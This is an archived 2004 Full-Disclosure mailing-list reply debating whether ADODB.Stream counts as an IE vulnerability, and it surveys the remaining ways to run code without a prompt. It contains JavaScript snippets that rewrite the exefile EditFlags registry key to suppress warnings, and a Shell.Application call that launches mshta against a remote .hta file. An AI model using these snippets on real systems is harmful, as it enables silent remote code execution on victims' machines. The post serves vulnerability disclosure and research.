Betr.: Re: [Full-Disclosure] Fix for IE ADODB.Stream vulnerability is out

• Previous message: OIS: "[Full-Disclosure] Public Review of OIS Security Vulnerability Reporting and Response Guidelines"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: <full-disclosure@lists.netsys.com>
Date: Sat, 3 Jul 2004 00:48:26 -0000

<!--

The real fault doesn't belong with individual components
(ADODB.Stream included), and I think the almost rant-like posts
of Drew Copeley and HTTP-EQUIV miss this fact. ADODB.Stream
does *not* represent a vulnerability, although it does act to
significantly worsen the impact of an existing one, by allowing
transfer of binary files to targets. However, the
same functionality as ADODB.Stream could be accomplished by
simply altering the open-restrictions registry value that IE
uses for executable files (that's right -- the hardcoded warning
required behavior isn't hardcoded at all), and then invoking IE
to do this for you.

[html]
[head]
[script language="JavaScript" defer]
function throw_onload() {
    actx.RegWrite("HKCR\exefile\EditFlags",
0x38070000, "REG_BINARY");
    window.close();
}

-->

You are correct. There is nothing wrong with the functionality
of the adodb.stream as it is doing exactly what it is supposed
to do. The problem is that it does that without asking or
notifying you.

In your code above what ActiveX will allow you to write to the
registry? WScript.Shell. This has a security prompt in the Local
Zone and cannot be used. That is why you always find it in
an .hta file. The only two that do not prompt [aside from PC
Health and other one-off oddities] are the adodb.stream and
shell.application.
  
These two plus two others are the perhaps the only methods to
introduce, install and run arbitrary code, that is you can
create a self-executing html, cross over to the Local Zone and
exctract and run the executable file.

- shell.application
- adodb.stream
- Base64 enconded mhtml url code base object
- .chm help file with embedded .exe and link object

The last two are patched for sometime now, although also after
numerous demonstrations and actual usage in the wild for more
than a year. Now the adodb.stream is patched.

To introduce a 'package' of code leaves the shell.application.
Both of them having the ability to combine and 'fetch' the
executable remotely [which can be defeated by a firewall] such
as in the original demo Jelmer provided with xmlhttp fetching
the file remotely, then copying to a folder, overwriting a .lnk
and opening the .lnk. as well as a somewhat lacklustre past self-
executing html demo. The adodb.stream also functioning like that
as well as being able to include the executable in an array in
the actual file [one of the self-executing html demos]. Shell
can also fetch via

ActiveXObject("Shell.Application");
obj.ShellExecute
("mshta.exe","http://www.malware.com/foobar.hta");

shell.application is quite limited, it cannot write a file with
arbitrary content as it were, but we can again combine
everything to force it to do so:

ActiveXObject("Shell.Application");
obj.ShellExecut("mshta.exe","about:<script>var wsh=new
ActiveXObject('WScript.Shell');wsh.RegWrite
('HKCR\exefile\EditFlags', 0x38070000, "REG_BINARY");)
</script>");

Now you're back in business. You can go to enormous lengths to
code into that small space the entire binary and basically re-do
everything you have seen contained in the past exploits
contained in html applications, all without a prompt as the
shell.application is the last [as far as we can see] ability to
do all of this.

note: POC of the above in hand awaiting a rainy day

-- 
http://www.malware.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

• Previous message: OIS: "[Full-Disclosure] Public Review of OIS Security Vulnerability Reporting and Response Guidelines"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]